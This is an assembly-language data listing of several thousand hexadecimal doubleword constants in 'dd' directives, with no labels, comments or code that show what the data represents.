dd 51436D2Ah, 72B71668h, 0F64D1598h, 0D113A80Ah, 0E275A72Eh
dd 49EF1836h, 0AA2C8379h, 98B40B7Ch, 8D4960C2h, 0C97FD582h
dd 0A50B437Fh, 312FE635h, 5E48E459h, 4BD8ED3Dh, 67AE5EAAh
dd 3533EC8h, 0A103F00Ch, 0C46AD660h, 22F097A2h, 0EF6C9E9Ah
dd 39013B34h, 5F8D9C7Ch, 5774AA0Eh, 0D0D038C4h, 9E5B8A4h
dd 236697B0h, 0AF8B40DBh, 0FAADAB61h, 0F5613B2Eh, 0E408C5D9h
dd 82742725h, 784CFB39h, 4B4A32F6h, 8B6B9h, 0AA4CE60Ah
dd 5A5CF28Eh, 95428B4Bh, 0A54939D8h, 0E96C0FFEh, 0C7C9F4A4h
dd 0C9F1682Dh, 0B0D7BEE5h, 0FE29E4D1h, 0BF337037h, 0D11B85A9h
dd 7438B57Ah, 0F9013DC2h, 0D637239Fh, 0AABADD84h, 0D0EBC1CDh
dd 4AF0DAC2h, 1DAD492Eh, 2311CBAh, 0BFA47F1Bh, 27B6F4DCh
dd 7835B23Ch, 0C2FB78ACh, 9DD2E305h, 5A145699h, 0E7C84DCAh
dd 5C6722BFh, 0E17717FEh, 9A479186h, 0D873DE37h, 7D72F830h
dd 0D8E68535h, 24E66812h, 197B9FD4h, 86A6DAD4h, 60016EDFh
dd 0BEE56007h, 0D0917364h, 186F6C32h, 7839FC20h, 0C0E154h
dd 95E9FDE3h, 0A704C20Eh, 67C242C6h, 0E78BF28Bh, 2EC405D5h
dd 55B55741h, 0F2C2912Eh, 0ED9EBC85h, 0EAE9C56Eh, 62735FE6h
dd 0C431457Fh, 82BD933Eh, 0BD2E22A3h, 895B41C5h, 3172EB23h
dd 0F32F5264h, 0E549E54Fh, 0D0C259EAh, 62201BC6h, 0B4B3B15h
dd 938705FDh, 8F9A7F54h, 0FBA6F2AEh, 9CB4F11Bh, 886E8759h
dd 88B6942Ah, 6AC75096h, 7215C9A3h, 0B53DDE77h, 42889EDCh
dd 72CE4CD2h, 42B7FDFh, 0FDCD2343h, 3E277491h, 7F6528C2h
dd 0AC72BD5Bh, 5C705041h, 1B2BE4ADh, 65DA18D3h, 78425C04h
dd 467F38CEh, 0A0217E10h, 483161Ah, 81E7729Ah, 51B96032h
dd 0B224B091h, 87C7512h, 0FDBE7939h, 0B95C83C3h, 85AA038Bh
dd 9623A007h, 0EFC26D95h, 47F8E4A8h, 117FA8C0h, 0A73304E0h
dd 4F1AFFC7h, 0A671A099h, 0C7F530C8h, 0B7535F4Dh, 0B939BD94h
dd 44F8AE2h, 8FC1CDF7h, 19E0A554h, 527A6B1Dh, 212B64B8h
dd 5F99E75Fh, 3A7CD6ECh, 3E5FADD6h, 0B48B6F3Eh, 0AC0C4D14h
dd 0CF16737Ch, 0E268544h, 66E4F8D9h, 0E417D1B3h, 7FE197Dh
dd 0F4EBD916h, 19B8C226h, 33BFB575h, 295FBD38h, 0B08637AEh
dd 0FC2171F0h, 0E65D082h, 76A772E1h, 0AD3D82E7h, 0F0D7561Dh
dd 0C72A8FC7h, 5878189Dh, 5515CF45h, 590DE3A8h, 32F63FECh
dd 44F28BA4h, 0C2955556h, 8BD0998Fh, 0D787F87Ah, 3C977288h
dd 4C2437D9h, 18EFF2A5h, 5DCEDAB6h, 8FF60844h, 911964B2h
dd 0FEACC427h, 0A1DA9F5Bh, 522A55BFh, 0F34ED0C5h, 0E691DEEDh
dd 66CFA82Fh, 0B5F603D7h, 18E7D991h, 38A62D67h, 39D08835h
dd 298A7C70h, 0C7157A6h, 1C854A88h, 31A78E69h, 611C8583h
dd 2F848080h, 0B0D608h, 0AEE5D20Fh, 9076F879h, 4DC0F3FEh
dd 491B2CF1h, 74EDCC8Bh, 562A345Ch, 0E0A284E1h, 0A5CDB1B0h
dd 0ACA9BE9Ah, 41C0FF4Bh, 64633A11h, 0C2771015h, 456A4198h
dd 8AD3BFD2h, 667980EAh, 6FBAEACFh, 5FBD442h, 8453A20Dh
dd 84554E58h, 6D37C148h, 0DA5503F4h, 0BA4F633Fh, 8E535FEAh
dd 0DED65D3Ch, 1525EF95h, 0EC965457h, 0F9CCCD8Ah, 4E892F50h
dd 137299BFh, 3C759430h, 9A409810h, 5E741E53h, 278D7712h
dd 0F77B0702h, 119189F1h, 0B8399E7Fh, 0B47B1560h, 60800CC3h
dd 56E9A2F7h, 59AB0CA3h, 0C018B8F5h, 256DF2FDh, 0A1C2F97Fh
dd 0AAD84BA7h, 62D2B520h, 0DB79DC99h, 2D10E419h, 0B985C3CBh
dd 4239C8F6h, 0F37B5CBFh, 0A28DE349h, 58FA508Eh, 5D0E5F6Bh
dd 8E0D605Fh, 0FC45A676h, 9664C0E5h, 49D39358h, 9D07CF17h
dd 2D0BDBD6h, 84F22FD1h, 9053401Fh, 6E674834h, 0B29E52DDh
dd 80A6887h, 0FFE34E3Bh, 0ED4C9D5Dh, 0C98DFE06h, 5650D560h
dd 1EBE5108h, 0A24C78C9h, 0DF2743DDh, 0A40876h, 67B5B03Ah
dd 0C58F1F6Ch, 2495B589h, 0F0DFDFC8h, 0D479D7D3h, 0BB1FFD19h
dd 7EC8D3CBh, 0BB8E25CEh, 0ABE26ABEh, 0EB8220B8h, 920C6BB9h
dd 0A30DD43Eh, 70CA7846h, 0F487CDE6h, 0A89CD07Fh, 0A75C352Ch
dd 41BD9C43h, 444E8916h, 0FFE4C77Bh, 7D8A2B47h, 0C7F7E1BFh
dd 0E73B95FBh, 0D0AEAFBFh, 0B13532B6h, 44FF4924h, 993DEE0Fh
dd 35BED277h, 6EA9AD0Ch, 6B55194Bh, 0BE4C3AC6h, 0E23FDBCFh
dd 39540D41h, 0CA7F6C85h, 0C95C6C0h, 9279595Fh, 92CCB3ADh
dd 0BA400053h, 67556B87h, 37EB890Dh, 0EBC85861h, 0AD77B2F7h
dd 0FE9E14B7h, 4F630E35h, 85FD99B3h, 75479854h, 88FC53FDh
dd 6C0CEB62h, 977A4EAh, 0B52B5F08h, 6EBE5764h, 30036567h
dd 0D81FB953h, 0CDE54DF8h, 0D81CDD55h, 73E35F50h, 8FCF8625h
dd 0A588C5F7h, 7B1025B7h, 6A2A0428h, 54D9EE95h, 5B692A20h
dd 42C17E58h, 2C976CFCh, 0A37B7F09h, 62277BCAh, 49B86D2Eh
dd 67684FE1h, 2C8733B3h, 999A2311h, 320FFA49h, 0D9C08E91h
dd 6D26F819h, 6AB18D68h, 789A0D26h, 38F7BDFFh, 9F21CA70h
dd 3341B38Eh, 0BE10D5D4h, 429EC9Ch, 44B1068Ch, 5A41EB41h
dd 6BAD3881h, 493CEB3Dh
dd 81C6957Ch, 46B77E8Bh, 0EED2FB32h, 0CBE4A4EDh, 1CB5EF52h
dd 0BC345C98h, 55A387E5h, 0AC7F86D0h, 7CD8A8D4h, 0A68C01AEh
dd 0FB7E4E76h, 51BD70A9h, 0B1B53D94h, 35A9772Dh, 0B17DF238h
dd 0A8EF24C1h, 0D506A7F0h, 97608CDBh, 2002FEF0h, 0B7A94CF9h
dd 5FAD4397h, 0E0CFE493h, 2BE60F54h, 0FBB9DDCBh, 11D6974Dh
dd 0E6AB12A9h, 0B7393A9Fh, 0D079D9E2h, 89AB74D5h, 1D7ACDA8h
dd 0CFF24E3Dh, 774D6AD4h, 0EC06E2Ch, 6D3583ADh, 8159578Dh
dd 3A9255E7h, 16B26667h, 0C4195708h, 544589C5h, 1596F11Dh
dd 44FA20F0h, 0E331143Ch, 0A6138A8Bh, 0FE3A1C9Ch, 1694AC0Ch
dd 6312250Ah, 2304D474h, 159DC16Ch, 0E8D3462Fh, 7DEB83EEh
dd 3AE1CB1Eh, 0D0CC2014h, 91C5CBD7h, 0AA8EDE4Bh, 766AAB53h
dd 1F0F24CBh, 9CC2AABCh, 0CD7EADA5h, 67B7F726h, 4AE310C1h
dd 857C29F6h, 0A226E372h, 0EC3E180Ch, 87A8F7Dh, 72BDCCCAh
dd 2AB54C3Fh, 0CA3F5451h, 1A225B9Ch, 0EC53E978h, 43815227h
dd 0FC838E12h, 4A607C8Eh, 0DB046883h, 0D286D44Eh, 1EAD6544h
dd 5484B4A6h, 59255C1Bh, 28A697B6h, 0D627D97Ch, 8B820285h
dd 3C21C6B2h, 1F03550Ah, 5AF8473Eh, 130FED66h, 203C8276h
dd 3A1E3570h, 0D7C1DF96h, 0EF275F84h, 0F3BBAF57h, 0F92681D8h
dd 0F68CDC73h, 51259A51h, 5FB3AC22h, 7C89F23Bh, 59D46B5Eh
dd 48B89F7Bh, 58B11DD9h, 6A889DF6h, 99433FB2h, 1323CEB2h
dd 90C5A205h, 5A2709D1h, 0D6ED3997h, 656DD5D1h, 202900F9h
dd 9420BF3Ch, 0F9CDDC8Eh, 0F181C115h, 3AFD5296h, 8FEB3F79h
dd 640014EBh, 26D75F73h, 0C55A7D03h, 2A3DEF21h, 62C4D029h
dd 19936828h, 4EACCB41h, 2E03FEDDh, 0D0F69D5Fh, 4E62BC1Ah
dd 822A2BB5h, 6C86CDE9h, 0ACCC906Bh, 0D88F0E41h, 70A5DACDh
dd 0F4125837h, 3AF157EEh, 0CAF8CD2Eh, 549A4629h, 68780EE0h
dd 3B404755h, 2103481Ah, 3AE3CD3Bh, 0BFEC4B52h, 2D491156h
dd 4570E5C4h, 5BBABACFh, 0F815B911h, 0D64BEED2h, 0E2A297F3h
dd 80891C78h, 60060585h, 71F8C919h, 517A5044h, 5DC4C9B5h
dd 31226DC8h, 21058258h, 0B86D22C1h, 59C3775Ch, 61570A08h
dd 0B4991614h, 0CB1F892Ah, 15E73975h, 0C23A9DCEh, 0C821F848h
dd 0BC41D322h, 95E6DB7Ch, 779FF581h, 7433AFA6h, 0C9DAF7F0h
dd 0B140C3EBh, 0D72A223Fh, 0B3746FCCh, 0BBFBC938h, 0EBEBD9F0h
dd 0FB55F9D9h, 0F9553BE1h, 266F2557h, 0C59AA93Ah, 1A78083Dh
dd 0F6B237DCh, 7531522h, 0A1448BA2h, 298C7AF4h, 49EBECBAh
dd 172E51Ch, 3A7D4D23h, 29833B6Fh, 7DE4DD18h, 7CD2AEF1h
dd 0FF30D166h, 0E67C01FCh, 3D22AAh, 176649C9h, 417AB61Fh
dd 72885387h, 190FD1A6h, 291D13CBh, 161AB9C8h, 6D774028h
dd 409D8678h, 407F0F83h, 0CC0CDE2Dh, 1A77B50Bh, 201F970h
dd 9458DBF3h, 0FC4AF036h, 0C737A4CEh, 6E501965h, 8D7826C3h
dd 0CEFD6015h, 0F9AC85ABh, 9BBA82C1h, 0A53EF079h, 0B1BC19A7h
dd 0C886526Bh, 5D44DA05h, 0D83E26Bh, 111A5264h, 0EFF665CBh
dd 39FA676Eh, 0B27D46F0h, 21E999EDh, 7FDDFE21h, 0D4AD4AF3h
dd 48383287h, 0D8273D30h, 60CB93EEh, 2DCAA2AEh, 365901CEh
dd 86AE462Eh, 11AEF9BDh, 97FBB215h, 57141059h, 0EF883C7Dh
dd 67888E3Dh, 0FA09A98Ah, 561FC326h, 265CBFB3h, 0EC81A9C6h
dd 0E682977Bh, 42C14CAh, 0B598E543h, 58DC8BD9h, 1CB41323h
dd 5066719Eh, 0DDC65CBDh, 0A0BDEDEAh, 477DB1F7h, 82C6A52Eh
dd 38F158A8h, 0B42C4CD9h, 0D7A02B08h, 3ADF4436h, 5DD895E1h
dd 34D7018Dh, 0B91C1E82h, 5B8CBEF5h, 47235B78h, 0A781C5D7h
dd 5418B0B6h, 872E3859h, 50FAE469h, 2731DD61h, 5125DFB1h
dd 0AAD7607Fh, 9F627AF2h, 0DDE9B1A4h, 0C78172AAh, 0A425E02Ah
dd 0F9E469F4h, 0D0587C07h, 80AC5DD6h, 0C1071749h, 9E2EBFABh
dd 4F4154E1h, 71E53C65h, 5C4A8747h, 76A5456Eh, 0A12FBE90h
dd 0A4873DA8h, 21860821h, 19B7C0F7h, 2BC28610h, 5773D529h
dd 979634Ch, 1C1469A4h, 9EC5A88Fh, 8A55FA78h, 3EA82EAFh
dd 878A69A8h, 0A6919D7Bh, 0A416F3C5h, 0B5AE9BB9h, 0C45558C5h
dd 0BCA305F1h, 891CEA97h, 0E332386Eh, 759FEE40h, 69899BBDh
dd 7D1B7F94h, 0D52B5BDBh, 0F4E15763h, 6B48090Fh, 0A0959C10h
dd 8AD032D8h, 55F36471h, 1E686144h, 7692B052h, 598C2686h
dd 4FF94108h, 0AD6E7FBEh, 0E925BCB5h, 3626D8EEh, 28CBFE5Bh
dd 727AE1F6h, 0FA9C1ABDh, 6DE23931h, 4935769Bh, 908D08A8h
dd 7A615D85h, 451B3A49h, 2C5FE4BAh, 3DE316F5h, 817BEDFAh
dd 0E39C72EAh, 2CA44CF0h, 88E973E1h, 97D81460h, 0ECC12E00h
dd 5D57BA7Bh, 7B79622Dh, 0C8A0A072h, 0AE4DFBBDh, 327B02B2h
dd 0BCFAC67Bh, 4791CF43h, 8280ED61h, 37065A07h, 0F5E778Fh
dd 0A3421B7Ah, 0B3AF69Ah, 978A8104h, 88BC7AE3h, 84FE9E08h
dd 0C21D2421h, 0F4925FBCh, 0A854E9C6h, 6E4B1E9Ah, 35B19117h
dd 0A7DDAC96h, 0A9E64E62h, 1BE2CB72h, 0A26BD709h, 0DCEF2455h
dd 0FE24DB9Dh, 3968F270h, 0C7666F61h, 986BEA65h, 0C06B377Ah
dd 4F7BDAB8h, 269FECF5h, 0C0784698h, 4224A4E2h, 8C4B301Dh
dd 21B0D03Ah, 30E1093Eh, 8FC4581Fh, 0E3C9AE11h, 35F6702Ah
dd 2E716DFh, 9FED7EB4h, 0AFBD5887h, 0BAE430A7h, 0F28A74CDh
dd 0DFD633Ch, 9FD7024Dh, 8F660AD4h, 0A08A9FE3h, 0D4433539h
dd 0C5081A58h, 640D50Dh, 94B4848Eh, 63D96A0Eh, 3514A918h
dd 0C4F57D88h, 5D037AB2h, 896A06D7h, 0DEA5F091h, 7E7488E9h
dd 5A8E6587h, 0F6F89761h, 67DE9889h, 9042BE35h, 5DFEFFD8h
dd 0C927BF2Ah, 212F6D7Fh, 0B70FDB7Ch, 3DD5D95Eh, 175EA879h
dd 3A8537F0h, 861B748Fh, 85B6271Fh, 0FF8A6BB8h, 481DD37Ch
dd 46156F31h, 262FCA1Bh, 0FBE6C3AAh, 2A72F41Dh, 290AAFDFh
dd 8D893B72h, 53BDB174h, 0C67405B3h, 68BF67A9h, 4261E691h
dd 0A74DDB95h, 479FDE9Ch, 85A6FE19h, 0E9AF093Bh, 1162D103h
dd 7FBC90E6h, 0FC50D8CAh, 0C98511C1h, 156532Ch, 0E3B7E9A0h
dd 0E1C579h, 841F781Fh, 8BAF56D1h, 29D3DA7Eh, 1F1CBFEAh
dd 38D41126h, 0AF39D48Dh, 87C60314h, 5FBE772h, 0FFBC0556h
dd 81903771h, 0B8763E04h, 91802969h, 5C792369h, 0DBD4245Ah
dd 0B5C443FFh, 0CF749022h, 3BF2CBFBh, 3D9063A9h, 0AA149C01h
dd 1D69CCB2h, 0FB2DE841h, 0CD4EB7F1h, 24BCBADDh, 0FE98CE88h
dd 19115BDFh, 7FCABEB0h, 0B329D822h, 6D7B3EE7h, 7EE08E59h
dd 0CEAE6E1Fh, 0EDEC5415h, 761D8DB5h, 0F37DD1EDh, 9649ED73h
dd 6D9EA5E0h, 35FFE2D2h, 695C66A1h, 0FB8BCCAAh, 0FB4E73Dh
dd 0CC83C860h, 849686B0h, 29E432AFh, 0F4ED7311h, 5C6468EEh
dd 51F91BA1h, 8AD2FE43h, 4BCA4461h, 7CB00A8Eh, 88BDF78Dh
dd 235DD82Dh, 0B4AA37A8h, 3B93A1E5h, 5DF15FAFh, 99117928h
dd 2AC89895h, 0A3B3333Bh, 9406FDF1h, 0AC8FBBBh, 6E586050h
dd 0F035CE05h, 0C66591E9h, 0C80D4462h, 623EE514h, 9A33601Ah
dd 91B1C0AAh, 5C6AD409h, 0FAEB0061h, 7A2482C7h, 0A2AD14CCh
dd 0B424C648h, 0EB803ADh, 0AC56BD03h, 68B0E77Fh, 0F0AE006Eh
dd 39A22BE5h, 0BEA521B7h, 6320BF00h, 6A19C9A2h, 0C0CAEACBh
dd 0E2E5992Eh, 6A38C0A1h, 0B769308Dh, 4BF2C277h, 0D9CD6D47h
dd 39842058h, 0FE88932Dh, 92274BE9h, 0A8C2996Eh, 0A2E70441h
dd 0DAD6D326h, 0DDCDC6FCh, 61B77376h, 0B91AA92Eh, 36AEE44Bh
dd 3385BB0Ah, 4CF669BBh
dd 61253124h, 0FD2D3713h, 4ED484C6h, 918365F1h, 6CBCE949h
dd 268A39C4h, 308FDB54h, 0EF220861h, 81A6E5B8h, 0A32BCFA5h
dd 0A59F11CDh, 51BCE724h, 8A67F8E3h, 10143588h, 0E70BC392h
dd 2C075F45h, 0D3F05D98h, 1EE0C799h, 5E84267Eh, 55E410E4h
dd 8B883A98h, 0A3E486F9h, 0DC321161h, 77A2175h, 4453E038h
dd 0FA4BF6B2h, 0F444D4E1h, 0D42550B5h, 40768C55h, 0ACA1F314h
dd 39E723B0h, 0C7F674EBh, 73F38AB0h, 0CBDEC7D1h, 15739769h
dd 0F25DD559h, 766717Fh, 0D5780197h, 0FBDC2139h, 2D736830h
dd 0C8AAA46Fh, 515F6297h, 42F67B65h, 82F0D777h, 0AE2EF52Eh
dd 42EAD75Ah, 7F0DA277h, 58020D09h, 0D245700Eh, 8F2D0C87h
dd 3C088FFAh, 0C1190CA0h, 0CDAA17B2h, 11205402h, 5738457Dh
dd 57312DD1h, 45719136h, 87AFB8D6h, 616CC75Fh, 0B813F813h
dd 0A8CD30CEh, 0D152B44Ch, 5AD1DF7h, 4616F445h, 8A9E938h
dd 0BE959AB3h, 0BF184AB7h, 95BEC648h, 497AD5B7h, 0B2102A6Ch
dd 0D63DC7FBh, 521FCED0h, 0E283A4CBh, 51E8BB2Ah, 3E1E9C7Ch
dd 22ACD42Dh, 0F0A93DC7h, 0CB2A5A03h, 0BA1AA43Dh, 0C5967655h
dd 3BA0812h, 22259CB2h, 5695E8A9h, 0CEA31786h, 0EAD28CD2h
dd 0CD05328Ch, 4B731B22h, 0A0BE7A09h, 61738B87h, 0DF7ECC37h
dd 82B25C80h, 0B45C4AC2h, 0D438283Eh, 84DBF6FBh, 61A03863h
dd 0E0C3940Ah, 290E6F5Fh, 2CB70D2h, 6D97EF9Dh, 98A7B7D8h
dd 40324125h, 0C3912AC6h, 0F0D67A30h, 479E490Ch, 0DF0C08A9h
dd 1D3ACF27h, 0B55C702Ah, 9FA4128Eh, 0A85EFBE9h, 0B1E77017h
dd 6F3A82A7h, 7C3FC822h, 6BD370ABh, 60286B09h, 8B585503h
dd 3D279B54h, 2D565B5Ch, 50FE64CEh, 81DB841Ch, 0DA619F1Bh
dd 6A428DADh, 49674E8Eh, 0DC27D759h, 1C1EDE3Ch, 0F569E8C3h
dd 38D5ABDCh, 94EE1C9Dh, 0FBAEF9A6h, 638A4E21h, 0CA95007Ch
dd 95FF8C14h, 0FAF1AE6Dh, 45FF45BDh, 0B630E736h, 67C3965Fh
dd 55A845C5h, 0E5417BDDh, 9005D3E8h, 0AE649A97h, 369880FFh
dd 0FB814209h, 371B69A9h, 3FECC52Bh, 4F188988h, 0C0C5DCB6h
dd 0A9C372D2h, 2CE24323h, 77718992h, 0DD9F4180h, 407AFA40h
dd 41F275D7h, 0D2AE17A2h, 381052E9h, 7E003845h, 3FC24062h
dd 2E1034C2h, 6D325206h, 114181C8h, 9A4456D6h, 1AFEAC5Ch
dd 0ECA36CD6h, 84F0FF1Bh, 59D231BFh, 54DD063h, 3B1FDECh
dd 0D8C04861h, 4CAB421Ch, 707B4322h, 47B8B0E7h, 9ED362DAh
dd 33EEB284h, 71E6961Ah, 91C08A2Ah, 0CBB90061h, 903B3695h
dd 0BA388B55h, 0A4478548h, 5F479A5Ah, 4AF4ACDAh, 7B4979F4h
dd 0D1EA3AECh, 0FBA02C4Bh, 0CA364F99h, 7CAFDF77h, 9C586FFCh
dd 77FE9B99h, 73731F67h, 0CB2D8E51h, 0A5847E7Eh, 25722ECh
dd 0C68821ADh, 0AC4ABFEEh, 359B2C23h, 71138250h, 8521832Bh
dd 59101249h, 0FC059855h, 0A3F9402Bh, 4D79AFA2h, 66EA0AC1h
dd 0CBFEAEAAh, 0EB435AAFh, 3440CE03h, 0AF347EF7h, 6ACD7DACh
dd 0F045F7AFh, 7A7CAE2Eh, 72C20335h, 6A9C96D4h, 0A34A41Ah
dd 56CC2472h, 0BA4F26C5h, 651068D1h, 2F78B82Dh, 9796A6EAh
dd 1CAC1FBDh, 0C33C1FACh, 0F3CA22DBh, 0EBA20FDFh, 95F7E7FFh
dd 0F2B059C6h, 0F3257095h, 1038F29Dh, 6C544B27h, 4333A008h
dd 0EB5DBE89h, 6CD9D0BBh, 6E5A7D77h, 0CC719894h, 0BB5C340Ch
dd 8C9FF929h, 20C52512h, 0DF067BE9h, 0D37BDD10h, 0BDEB9DB9h
dd 0E33BD80Ch, 926A9E1Bh, 124D1F6Eh, 0CD882AB8h, 0B9EDACCEh
dd 4DC44060h, 0D43441A0h, 6179D59Fh, 0CC4A5717h, 23932813h
dd 1AC1B47Dh, 0D272C633h, 0D0B9A5FAh, 0EF1CD6E2h, 0F4E63EDCh
dd 3020BCDh, 0A4AEF30Fh, 29FB79D5h, 0A677752Eh, 0F672CEA0h
dd 0EEA46D0h, 6F63D848h, 0D4AC8FC8h, 0EB1981Bh, 1BDCF196h
dd 88D67650h, 0E1866F1Ah, 0D972BCECh, 833554CCh, 3867CCC3h
dd 4A1EBE63h, 0D20CED0Ah, 0A671B1C6h, 0C67A5EE0h, 0CDC2D772h
dd 856E0025h, 9CFD0871h, 0CB663BB5h, 7DE654D6h, 172B582Eh
dd 5E6B9BA5h, 0C88D1175h, 9BC3E4C6h, 58C3D0A8h, 1B75251Eh
dd 0BF530065h, 0FC657203h, 683AAB64h, 9B461238h, 8DBF8E56h
dd 4D51F4C1h, 68499F0h, 0CAC4E806h, 75BD19ACh, 0BDC28DF6h
dd 0C1308A75h, 0A9C0C2F4h, 0C0DDEDDEh, 1525D776h, 0FC1752ABh
dd 1AE1D56Ch, 0BAF6AFFBh, 0C080C51Bh, 718B4A33h, 0AF8182Ah
dd 42A5E08Bh, 997285DAh, 0A177BA06h, 7611D3E1h, 398310E5h
dd 2BE8DC8Bh, 2FFA3021h, 5804C220h, 548AAEEFh, 0AE3F45CDh
dd 74245627h, 3C0951CAh, 6809CFF0h, 0BA346C84h, 4D6E839Dh
dd 0AD296DAh, 89DFDC82h, 0F61E59D0h, 42A473CFh, 0D468BAB6h
dd 0C2B0263Eh, 8B89FB81h, 27BBA524h, 3EBB4CF5h, 0FB9CE858h
dd 4808BE0h, 0C1449B66h, 73EEA2B7h, 0FC0FB2FEh, 2A7D480Fh
dd 1EEBE560h, 0AD09780h, 117EAC86h, 9B251198h, 9C8A851h
dd 2ABFF2BAh, 4855B3A9h, 0D673C7CDh, 6284089Ah, 55D4A167h
dd 1AAC72Fh, 8EFA059Fh, 0D4875C64h, 0A5C81ECCh, 76D87772h
dd 0C9323BEBh, 0C765C4AFh, 0E3DF7F96h, 6EE9F862h, 0D17EBE73h
dd 0E8533E3Bh, 4558CA19h, 1685C4FCh, 0D5EFE9C2h, 54BECDB4h
dd 0DF416550h, 1770C1C6h, 0C3D58015h, 0AD4EDDE7h, 97F1DB2Ah
dd 2B40169Fh, 7FFE15AAh, 0F66F8DE2h, 0D7607736h, 7BB70154h
dd 9B7E0EA5h, 410D7B4Ch, 123EED5Ch, 8E4D667Ah, 0DCBF744Ah
dd 0EDEB1E62h, 46C80CDAh, 0CB47D038h, 9289D5DEh, 0E94367D7h
dd 5BFE639Eh, 0ECD69B03h, 0B9F35379h, 0A8242609h, 39C0E3CCh
dd 0C5B87FB5h, 0AFA68773h, 0B108515Dh, 2A0190D2h, 93DB6A9Ah
dd 0FAFFEAD9h, 1F6F734Eh, 0C0A7EE8Dh, 7305A37Ch, 0C18006A2h
dd 25754E2h, 0D11272B4h, 2F3C023Ah, 2EB543A5h, 8E285562h
dd 95200AF4h, 9CDD3657h, 94932F9Bh, 2FA1BC85h, 4BF6546Dh
dd 0A29B8743h, 0E35E60F5h, 0DA708CD8h, 6B2A1764h, 8B3455A0h
dd 6E6906A0h, 7255352h, 9DF7E620h, 0DD7051C5h, 61ADF4C9h
dd 810E48A4h, 2EFD1B65h, 10B04E64h, 0E60A31EDh, 91DDF9F3h
dd 3D098371h, 2D54ED66h, 5E298F2Bh, 0BB1E220h, 18F62DA0h
dd 0EE65AECDh, 9FC6E06Fh, 6BED950Eh, 11EE3D20h, 0AB9614C1h
dd 0BB5969Eh, 0B7D033E5h, 0F12C7949h, 6634974Dh, 0E2CBBD0Eh
dd 5F3D3DDCh, 74D2DB3h, 946FE6A9h, 0CEDB172Dh, 0C8A300C4h
dd 0A86A5AE2h, 9747E25Eh, 9FFEC59Ah, 82800372h, 0AA1DFA03h
dd 0A1C0FC2Eh, 0AB3B2F1Fh, 143AE6D4h, 0B8C34339h, 3D9AFBDFh
dd 2D066E02h, 0FFD1139Eh, 217A0EADh, 36FD7CB4h, 0F514DD1Fh
dd 0AE7EF192h, 0DA9F434Ch, 217F3251h, 0D7E0F4BEh, 1AA1385Fh
dd 0CAB7A5B5h, 609A4B83h, 7D881E1Eh, 0F746D58Dh, 0FECD4FE4h
dd 0B8F79CDDh, 651F9EBBh, 2DCD22DFh, 0F15724A8h, 3B5CE94Bh
dd 97503096h, 0E1EDE07Dh, 8523893Dh, 94AD2304h, 0C0A95BCBh
dd 7AE96308h, 0A8C13C27h, 0C9A27229h, 6D323C2h, 0CDA458CDh
dd 0C1D2F42Eh, 0C870EEAh, 396E4C1Eh, 370DB367h, 2C1632A0h
dd 1DCF6BAEh, 9445EE5h, 92EC8003h, 0A5A26FE4h, 4E677666h
dd 12A90B29h, 7CF27A91h, 827EDED2h, 0C7472E28h, 838A90A7h
dd 0B7035749h, 194CE4ACh, 690177E0h, 929856D5h, 3C65BBC1h
dd 999F80EDh, 2BC76913h, 6EAB659Dh, 0BE3D5D0Eh, 1DD1A3Ah
dd 17DA1EFDh, 490F7BA5h, 6D143C93h, 12C5892Bh, 70DB1520h
dd 1D24462Dh, 5E220916h, 8169B9EAh, 2CDCCC71h, 554D514Dh
dd 3C05A560h, 2848895Fh
dd 0F69B0A96h, 0D9B0B3D6h, 0D7F9AC0Fh, 18F88E05h, 0D073716Ah
dd 0CF472E0Dh, 2CAF59D2h, 9C409868h, 9730FC88h, 3495841Eh
dd 0B7DD81F4h, 576DF443h, 3FE5D80Ch, 3FE0CD0Dh, 0C20C3746h
dd 0B168D4D5h, 0BD850F7Eh, 1252449Eh, 16A9E0C0h, 7EE955FCh
dd 5EF96D6Ch, 0ACCDC80Dh, 0B2EEDC33h, 48A48C98h, 964866CDh
dd 0A930B70Fh, 546D08Bh, 79E10DF0h, 38CA8C9Eh, 0E8A803FBh
dd 63EC4AA1h, 0A9993FECh, 0F69DA461h, 1AE0B861h, 5011A660h
dd 5E1F553Ch, 6ACB3D01h, 0C5241DD7h, 0A5053D86h, 8ACF06FCh
dd 0D1C87F12h, 2D45EAC3h, 46FD2AE3h, 0A69C0764h, 74F0866Ah
dd 5F95041Ch, 4A254631h, 9CECB28Bh, 7F9B643h, 0C6AA009h
dd 7867D3C3h, 0BD17468Eh, 266A8E73h, 8B7C5C5h, 27FAB104h
dd 71AEA533h, 0DF614DE3h, 0B853E286h, 398B73E1h, 3795475h
dd 0A7D5E93Bh, 1320E7EFh, 0D819A6D9h, 7155D145h, 74BD7803h
dd 2AA4A437h, 19F58DFDh, 8B809F5Bh, 0F0A93872h, 0FE64868h
dd 627D9BA7h, 0DEBFF68Bh, 59A57A5Dh, 5EF62383h, 0EE886716h
dd 0DC0D05BDh, 0E88FEE30h, 0DD04DE77h, 59B46C71h, 3ACC9EB2h
dd 0A2C10423h, 0DBA19CC2h, 7547E157h, 0D0E05A6h, 0E9EDC29Fh
dd 724696F5h, 2DCCD44Ah, 43FD2823h, 7695580Ah, 23B996E9h
dd 0D9AD608Bh, 74420E7Ah, 31F0FC1Bh, 2A7D68B0h, 829FF859h
dd 4D69957Dh, 43F4D0A3h, 0EEAC400h, 0AB98A92Ch, 8AF915FCh
dd 0F5369B2Ah, 0BA5FAB4Ah, 0D98B30BFh, 0CEED0E3Ah, 8FC27F64h
dd 0F7391B6Dh, 0D5D93718h, 0AF01A4FAh, 9DB9CC1Dh, 641C068Eh
dd 0BBB88E29h, 0F482F6ACh, 0EECEE79Dh, 0FA91636h, 962669C9h
dd 0A8E053CEh, 0D2CA1F8Eh, 358F600Eh, 0E5B4A24Ah, 45FFB8FAh
dd 23DF2231h, 0EEA5BDF9h, 6F4E0073h, 1944CA05h, 91B90A7Bh
dd 1F2A56AAh, 394B90A2h, 0E6F6C4DCh, 0C2A7FC9Ch, 0D612ABD4h
dd 18EF7D3Ah, 0A4ABCB9Bh, 2DE85A5Ch, 2B908DA0h, 557592D7h
dd 1CAF4CB8h, 0F4B8EA28h, 9BAE10B3h, 0EE13588h, 0DBACCE06h
dd 5E48183Bh, 985BC290h, 5DD3670Fh, 0C708A106h, 197FD5E5h
dd 0B8B3424h, 0AC1AD92h, 0F3067BFDh, 8DFA8360h, 2FAA87A3h
dd 12576781h, 66DB20AAh, 3C5B512Ah, 5AE4230Dh, 0C93BC26Dh
dd 49EF7D9Dh, 55D72CFh, 7579D736h, 0A2D014ACh, 0A6131E5h
dd 5BFD31A9h, 0D325F01Eh, 0C1A310D3h, 754212FFh, 0E5FE0E84h
dd 0BBBD0F0Ah, 1DDF029Ah, 6E9ABC39h, 3B9A091Dh, 0AD2BB523h
